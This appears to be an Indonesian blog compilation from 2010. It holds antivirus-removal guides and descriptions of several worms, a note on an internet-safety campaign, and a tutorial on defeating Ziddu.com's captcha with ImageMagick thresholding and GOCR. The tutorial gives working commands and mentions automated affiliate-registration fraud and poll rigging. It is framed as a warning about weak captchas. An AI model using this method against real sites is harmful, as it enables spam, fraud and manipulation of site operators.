Julukan 'Luna Maya' diberikan pada virus ini karena salah satu file penyebarannya memiliki nama LunaMaya.exe. Virus ini dideteksi sebagai Suspicious_Gen2.LBTU oleh Norman Security Suite.

Nah, berikut adalah 6 langkah untuk mengusir virus ini seperti disampaikan oleh Adi Saputra, analis antivirus dari Vaksincom:

1. Lakukan pembersihan virus pada mode “safe mode”.

Untuk masuk pada mode “safe mode”, tekan tombol F8 pada keyboard saat komputer dinyalakan.
Pada menu Windows Advanced Options, anda dapat memilih mode “safe mode” atau dapat juga mode “safe mode with networking” dan “command prompt”. Agar lebih mudah pilih saja mode “safe mode”.
Biarkan windows berjalan hingga muncul jendela konfirmasi penggunaan “safe mode”. (lihat gambar 12)
Klik pilihan “Yes”, untuk menggunakan mode “safe mode” pada jendela konfirmasi tersebut.

2. Matikan proses virus yang aktif pada memory.

Gunakan tools pengganti Task Manager dalam hal ini gunakan CurProcess. Download tools CurrProcess pada link berikut ini : http://www.nirsoft.net/utils/cprocess.zip
Jalankan CurrProcess, kemudian cari file virus “Amoumain.exe”. Klik kiri file virus, kemudian pilih “Kill Selected Processes”. Jika file virus sudah hilang, maka tutup jendela CurrProcess.

3. Perbaiki registry windows yang sudah di modifikasi oleh virus dengan langkah sebagai berikut :

a. Salin script dibawah ini menggunakan wordpad. Klik menu [Start] à [All Programs] à [Accessoris] à [Wordpad].

[Version]
Signature="$Chicago$"
Provider=Vaksincom Oyee

[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del

[UnhookRegKey]
HKCU, Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, ShowSuperHidden,0x00010001,1
HKCU, Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, SuperHidden,0x00010001,1
HKCU, Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, HideFileExt,0x00010001,0
HKLM, SOFTWARE\CLASSES\batfile\shell\open\command,,,"""%1"" %*"
HKLM, SOFTWARE\CLASSES\comfile\shell\open\command,,,"""%1"" %*"
HKLM, SOFTWARE\CLASSES\exefile\shell\open\command,,,"""%1"" %*"
HKLM, SOFTWARE\CLASSES\piffile\shell\open\command,,,"""%1"" %*"
HKLM, SOFTWARE\CLASSES\regfile\shell\open\command,,,"regedit.exe "%1""
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, Shell,0, "Explorer.exe"

[del]
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\system, DisableTaskMgr
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\explorer, NoRun

b. Simpan file dengan nama “repair.inf”. Gunakan pilihan Save as type menjadi Text Document agar tidak terjadi kesalahan.
c. Klik kanan file “repair.inf” kemudian pilih “Install”.

4. Hapus file virus “Luna Maya” dengan ciri-ciri sebagai berikut :

Memiliki type file “Application”
Memiliki ukuran file “37 kb”
Memiliki icon file MS Word

Catatan :

Untuk mempermudah pencarian sebaiknya gunakan fungsi Search Windows dengan menggunakan filter file *.exe dan *.inf dan berukuran 37 kb.
Hapus file virus yang biasanya mempunyai date modified yang sama.
Pastikan hapus file virus utama seperti : Amoumain.exe, Luna Maya.exe, Love.exe, dan nt.bat
Log-off komputer, kemudian log-in kembali.

5. Untuk pembersihan yang optimal dan mencegah infeksi ulang, scan kembali menggunakan antivirus yang ter-update dan mengenali virus ini dengan baik.

6. Untuk USB flash atau removable drive yang sudah di rusak atau format oleh virus, sebaiknya gunakan software recovery untuk mengembalikan data yang hilang.

Autoit-ReplaceIcon: Worm Dengan Icon yang Beragam

2010-06-21T01:35:00.000-07:00

Autoit-ReplaceIcon. Worm unik ini berbasis script AutoIt dan memiliki kemampuan polymorphic. Ukuran filenya dapat bervariasi, demikian pula file autorun.inf yang diciptakan.

Bahkan keterangan bahasa pada saat klik kanan – Properties – Version – Language, juga dapat berbeda-beda pada masing-masing file worm yang tercipta. Nama file worm yang menyebar melalui media disk juga tampak acak walaupun selalu berekstensi *.exe dan terdiri dari 6 karakter. Contohnya:
brgzdt.exe
civfap.exe
hissyn.exe
naigpy.exe
uxjxhp.exe

Uniknya, icon yang digunakan juga beraneka ragam, beberapa contoh file worm dengan icon yang berbeda-beda terlihat seperti pada gambar diatas. Nama Autoit-ReplaceIcon diambil dari salah satu objek function (ImageList_ReplaceIcon) yang terbaca pada tubuh worm. File yang aktif di memory bernama csrcs.exe (terletak pada lokasi WINDOWS\System32), sekilas terlihat seolah file csrss.exe milik sistem Windows.

———————————————-

Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 3.0.3 Update Build2 telah hadir dengan penambahan 15 pengenal varian virus baru. Bagi Anda pengguna PCMAV 3.0.3, sangat disarankan segera melakukan update, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.

Namun bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link ini:

Send Space
Zippy Share(mirror)
Rapid Share(mirror)

Restui: Menyembunyikan File Excel

2010-06-21T01:28:00.000-07:00

Restui. Merupakan sebuah worm berukuran sekitar 140 KB tanpa di-pack, dibuat dengan bahasa pemrograman Visual Basic, dan memiliki icon menyerupai spreadsheet Microsoft Excel. Membuat file duplikat dirinya dengan meniru file Excel (extension *.xls) yang ditemukan, sementara file asli akan disimpan pada folder WINDOWS\system32\MB.

Dengan masih menyimpan file asli, worm mampu menampilkan spreadsheet yang sebenarnya saat pengguna mengeksekusi file worm, hal ini dilakukan agar pengguna tidak curiga. Kemungkinan masih terdapat bug pada pemrograman worm ini yang dapat merugikan pengguna, karena ada kalanya beberapa file Excel yang dicopy oleh worm ke folder WINDOWS\System32\MB akan rusak dan berukuran 0 bytes, jika ini terjadi, worm hanya menampilkan spreadsheet kosong.

Worm ini juga menduplikasikan dirinya dengan nama restui.exe dan EXCEL.BAT pada folder WINDOWS\System32\MB, folder yang sama dengan file Excel asli milik pengguna yang disembunyikan. Pada saat tertentu, ia akan menghapus file-file dengan extension *.exe yang terdapat pada removable disk. Walaupun terdapat celah karena worm tidak mengecek jika extension menggunakan huruf kapital. Dengan demikian file dengan extension *.EXE, *.eXe, *.eXE, dan seterusnya selama masih mengandung huruf kapital, tidak akan terhapus oleh worm ini.

———————————————-

Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 3.0.3 Update Build1 telah hadir dengan penambahan 31 pengenal varian virus baru. Bagi Anda pengguna PCMAV 3.0.3, sangat disarankan segera melakukan update, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.

Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet (non-proxy). Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV.

Namun bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link ini:

SendSpace
Zippy Share (mirror)
RAPID SHARE(mirror)

Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup menimpanya. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.

SUMBER : VIRUS-INDONESIA

KAMPANYE INTERNET SEHAT

2010-06-12T08:55:00.001-07:00

1). Depkominfo memahami bahwa “Internet Sehat (www.internetsehat.org)” adalah sebuah konsep sosialisasi yang digagas pertama kali oleh ICT Watch pada 2002 silam, yang merupakan kegiatan non-profit dan harus dijaga bersama agar tetap non-profit, tidak dijadikan ajang bisnis/komersialiasi oleh pihak-pihak tertentu.

2). Tidak ada hubungannya antara “Tim Sosialisasi Internet Sehat” (TSIS) yang dibentuk oleh Depkominfo (berdasarkan SK menteri/dirjen) dengan “program/komunitas Internet Sehat” yang dijalankan oleh ICT Watch. Meskipun demikian ada sebagian semangatnya yang sama yaitu menyosialisasikan penggunaan internet yang aman dan nyaman bagi anak, siswa, keluarga dan pendidikan.

3). Dari sejumlah kegiatan yang menjadi keunggulan masing-masing, baik ICT Watch maupun Depkominfo akan mengupayakan adanya beberapa kegiatan di antaranya yang dapat dilakukan secara bersama dan sinergis. Jika diperlukan, maka tidak menutup kemungkinan akan dilakukan kerjasama formal (dalam bentuk MoU) antara Depkominfo dengan ICT Watch.

4). Sebagai pencetus awal nama, konsep dan ide “Internet Sehat”, ICT Watch telahmendaftarkan hak cipta dan hak merek “Internet Sehat” ke Dirjen HaKI agar tidak ada pihak yang menyalahgunakannya demi keuntungan bisnis / komersialisasi semata.

5). Meskipun sudah didaftarkan ke Ditjen HaKI, untuk berbagai bentuk penggunaan (dan oleh siapapun yang menjalankan) bagi kegiatan pendidikan dan sosialiasi non-profit atas “Internet Sehat”, ICT Watch akan menggunakan “Creative Common License” (CC), dengan biaya lisensi Rp 0,- (tidak berbayar!)

6). Penggunaan nama “Tim Sosialisasi Internet Sehat” dan situs “www.internetsehat.web.id dan/atau www.insan.or.id” oleh Depkominfo, telah disampaikan kepada ICT Watch, dan dari pihak ICT Watch menyatakan tidak berkeberatan sama sekali mengenai hal itu.

7). Jika memungkinkan, bisa saja dirintis kerjasama sinergis berdasarkan kompetensi masing-masing terkait dengan pengembangan konten pada situs www.internetsehat.org yang dikelola oleh ICT Watch dan situs yang dikelola oleh Depkominfo.

8). Untuk setiap program komunikasi / kampanye “Internet Sehat” yang akan dijalankan oleh Depkominfo ke berbagai media, konten/materinya akan dikonsultasikan terlebih dahulu kepada ICT Watch agar makin memperkuat “ruh” (spirit) dari pesan yang ingin disampaikan tersebut

nb:

- Program “Internet Sehat” yang dijalankan oleh ICT Watch selama ini adalahbukan/tidak merupakan program (ataupun program turunan) dengan nama serupa yang dijalankan oleh Depkominfo. Saat ini Depkominfo memiliki program dengan nama yang mirip, yaitu “Internet Sehat dan Aman“.

- Saat ini Program “Internet Sehat” ICT Watch didukung oleh program corporate social responsibility (csr) dari XL Care – XL Axiata untuk program assistance, oleh OpenNet Initiative untuk technical assistance serta oleh Symantec Norton untuk knowledge assistance.

[Tim Internet Sehat

SUMBER :MENKOMINFO

Menjebol Captcha dengan OCR...

2010-06-10T23:56:00.001-07:00

Banyak orang menyangka asalkan situsnya dijaga captcha, maka spammer tidak akan bisa menembusnya. Padahal ini salah besar! Captcha memang menyulitkan, namun tidak sembarang captcha, bila captcha tidak dibuat dengan benar dan asal-asalan, maka spammer bisa dengan mudah menembusnya.

Captcha Basics

Captcha adalah akronim dari Completely Automated Public Turing test to tell Computers and Humans Apart, yaitu sebuah test/ujian yang “fully automated” untuk membedakan manusia dan komputer. Ujian captcha dibuat sedemikian rupa sehingga teknologi komputer saat ini belum bisa mengerjakan dengan benar, namun manusia bisa dengan mudah menyelesaikan dengan sempurna.

Captcha ini dibuat oleh komputer secara otomatis, namun komputer sendiri sebagai pembuat soal malah tidak bisa mengerjakannya… Aneh!

Umumnya captha berbentuk gambar yang di dalamnya terdapat kode. Kode ini bisa dengan mudah dibaca manusia, namun komputer akan kesulitan membaca kode dalam gambar itu. Dengan cara ini, hanya manusia yang bisa melanjutkan prosesnya, sedangkan komputer/robot akan gagal.

Bagi komputer, sebuah gambar hanyalah kumpulan kode-kode warna dari setiap pixelnya. Dibutuhkan proses yang cukup rumit untuk bisa mengenali objek pada gambar, apalagi untuk memahami arti sebuah gambar. Sedangkan bagi manusia hanya dalam hitungan seper sekian detik kode dalam gambar sudah terbaca.

Selain berbentuk gambar, captcha juga ada yang berbentuk suara. Secara prinsip sama saja dengan gambar, komputer perlu melakukan proses yang rumit untuk mengenali percakapan dalam file suara.

Optical Character Recognition (OCR)

OCR adalah teknologi untuk mengubah gambar menjadi teks. OCR biasanya dipakai untuk mengubah file gambar dari dokumen yang discan menjadi file teks untuk diolah secara digital.

Tidak semua gambar bisa dibaca dengan sempurna oleh OCR. Sama seperti manusia, bila kita membaca buku yang masih baru dan cetakan yang baik, maka mudah bagi kita untuk membacanya. Namun bila buku sudah tua, tintanya sudah pudar dan banyak noda, maka sulit untuk kita membacanya dengan sempurna. Begitu juga dengan captcha, bila captcha mengandung banyak distorsi, kemiringan, variasi ukuran font dan noise, maka OCR akan kesulitan membacanya.

Program OCR yang saya pakai dalam menembus captcha adalah GNU OCR. Seperti program OCR lainnya, GOCR hanya dapat membaca captcha dengan baik bila gambarnya tidak banyak gangguan. Untuk itu biasanya sebelum gambar dilempar ke GOCR, sebelumnya diolah dulu untuk meminimalkan gangguan agar hasil pembacaan GOCR bisa maksimal.

Dalam artikel ini saya akan jelaskan bagaimana captcha bisa ditembus dengan GOCR di sistem operasi Linux. Sebagai contoh saya akan gunakan captcha yang ada di situs sharing Ziddu.com.

Captcha Ziddu.com

courtesy of ziddu.com

Penggunaan captcha pada ziddu sangat vital karena situs ini membayar pemilik file setiap kali ada orang yang mendownload file tersebut. Bisa dibayangkan bila tanpa captcha, maka orang dengan mudah bisa membuat script untuk melakukan download secara otomatis.

Namun dari FAQ yang saya baca, ziddu hanya membayar berdasarkan ip address yang unique dalam satu hari. Jadi bilapun ada script yang bisa melakukan download berulang kali, tetap tidak dianggap selama berasal dari ip address yang sama.

Contoh gambar captcha ziddu antara lain:

Setelah saya cari di google file CaptchaSecurityImages.php ternyata adalah library open source untuk men-generate captcha, namanya PHP Captcha Security Image . Library ini cukup populer dan banyak dipakai di situs luar maupun situs lokal. Situs iklan gratis banyak juga yang pakai captcha ini, silakan cek sendiri.

Kelemahan Captcha Ziddu

Beberapa kelemahan captcha yang dipakai ziddu adalah:

Objek dan Background Terpisah: Sepintas terlihat captcha ziddu cukup rumit karena banyak gangguan berupa coretan dan bintik-bintik. Namun sebenarnya gangguan itu tidak ada artinya karena terpisah jelas dengan warna yang berbeda cukup kontras. Jadi antara objek dengan background terpisah dengan baik, dengan sedikit pengolahan akan didapatkan gambar yang bersih dari gangguan.
Tidak adan rotasi, semua karakter horisontal posisinya, tidak ada yang miring ke atas atau ke bawah.
Font yang monoton dan konsisten.
Warna yang konsiten.

Persiapan Gambar dengan Utility Convert

Convert adalah utility command line dari ImageMagick yang bisa melakukan berbagai jurus pengolahan gambar, dari yang sederhana hingga yang rumit. Untuk memecahkan captcha ziddu kita tidak perlu jurus tingkat tinggi, cukup operasi sederhana saja. Kita pakai operasi threshold, operasi ini bekerjanya sangat sederhana. Kita hanya perlu menetapkan suatu nilai batas, kemudian semua pixel yang memiliki kode warna di bawah atau di atas nilai itu akan diubah menjadi warna putih atau hitam.

Dari contoh-contoh captcha yang ada terlihat bahwa warna yang paling gelap adalah warna kode, kemudian diikuti dengan warna noise dan yang paling terang adalah warna background. Dengan demikian kita bisa tetapkan warna teks sebagai nilai threshold (batas), kemudian semua pixel yang memiliki warna lebih terang dari itu akan diubah menjadi putih. Dengan cara ini maka yang tertinggal hanyalah warna teks, warna background dan warna noise akan lenyap karena warnanya jadi putih.

Langkah pertama adalah kita harus mendownload gambar captcha yang asli, di URL:

http://www.ziddu.com/CaptchaSecurityImages.php?width=100&height=38&characters=5

Contoh gambar captcha yang asli adalah:

Dengan operasi threshold, gambar tersebut akan diconvert menjadi:

Terlihat jelas gambar kedua lebih mudah dibaca oleh GOCR karena noise yang ada di gambar asli sudah dihilangkan. Perintah untuk melakukan operasi threshold di atas adalah:

$ convert captchatest.jpg -white-threshold 20000 captchatest2.jpg

Opsi white-threshold 20000, itu artinya semua pixel yang nilai warnanya lebih tinggi (lebih terang) dari itu, akan diubah menjadi putih. Hasilnya terlihat bahwa pada gambar ke-2 terlihat noise dan background menjadi putih bersih karena warna background dan noise lebih tinggi dari 20000.

Breaking Captcha dengan GOCR

Kini setelah gambar dibersihkan dari gangguan, telah siap untuk dibaca dengan GOCR. Mari kita lihat kemampuan GOCR membaca captcha yang asli, bila GOCR mencoba membaca gambar yang asli, hasilnya adalah karakter kacau seperti di bawah ini:

$ gocr captchatest.jpg
______r0_ __
_ _ '__,__ _ ___,;
__'_  ____
_   _ _ __ _
?n0_ __ __ 0_,;
 _  ___   _t_

Namun setelah diproses dengan threshold, maka hasilnya adalah:

1 2	$ gocr captchatest2.jpg qc32ts

Wow, ternyata hasilnya sempurna. Setelah captcha terbaca selanjutnya terserah anda. Anda bisa melakukan register di ziddu.com dengan script. Ini sangat berbahaya, sebab seseorang bisa mendapatkan komisi dari setiap orang yang register di ziddu bila mendaftar melalui affiliate link. Bayangkan apa yang terjadi bila seseorang membuat robot yang melakukan registrasi dari link affiliate sebanyak 1 juta kali, padahal setiap orang yang mendaftar dari affiliate mendapat $0,1 artinya dia akan mendapat $100,000 atau 1 miliar.

Kesimpulan

Anda telah melihat sendiri betapa mudahnya captcha dijebol dengan software gratisan. Jangan pernah mengira bahwa hanya dengan memasang captcha asal-asalan spammer tidak akan bisa menembus. Pilihlah captcha yang baik dan sulit untuk ditembus.

Banyak situs-situs besar dalam dan luar negeri seperti detik.com, liputan6.com, ziddu.com, feedburner.com yang masih menggunakan captcha yang mudah ditembus. Di majalah underground info saya menulis tentang breaking captcha detik.com untuk mengakali hasil polling. Bahkan captcha detik.com jauh lebih mudah ditembus dibanding captcha ziddu.

sumber berita : ilmuhacking

METAMORPICA-Perusak Sistem Operasi

2010-06-10T23:39:00.001-07:00

Metamorpica. Worm ini dibuat dengan menggunakan bahasa pemrograman Visual Basic, berukuran 460 KB tanpa di-pack.

Sekilas tampak seperti program VB sederhana, yang bahkan masih menggunakan icon standar aplikasi Visual Basic. Tetapi jika Anda menjalankannya, efek yang ditimbulkan sangat merugikan. Worm ini akan menduplikasikan dirinya dengan meniru seluruh nama file pada hard disk, dan menghapus file aslinya. Proses ini dilakukan secara rekursif, dan berakibat fatal karena akan menghapus juga file-file penting yang tidak terproteksi, termasuk file yang digunakan oleh sistem operasi, sehingga Anda harus memulihkan sistem dengan cara restore sistem atau install ulang. Dengan payload seperti ini, worm ini memang kurang berpotensi menyebar luas melalui pertukaran media disk, karena host yang dikuasainya akan lumpuh dalam waktu singkat. Tetapi tetap waspada karena file malware juga dapat menyebar dengan cara lain, seperti melalui Internet/file sharing.

Beberapa registry akan diubah oleh worm ini, saat Anda mengakses menu Folder Options – View, akan terdapat opsi “Folder options connected with f&i worm”, jika Anda memilih opsi ini, akan tampil sebuah warning berisi pesan:

“Terima kasih anda telah menggunakan produk dalam negri! Virus ini dibuat agar warga Indonesia, bisa membasmi Virus sendiri . Dari si pembuat virus: F4nd1 3rd14n54 “

———————————————-

Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 3.0.2 Update Build4 telah hadir dengan penambahan 13 pengenal varian virus baru. Bagi Anda pengguna PCMAV 3.0.2, sangat disarankan segera melakukan update, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.

Sumber Berita : Virus-Indonesia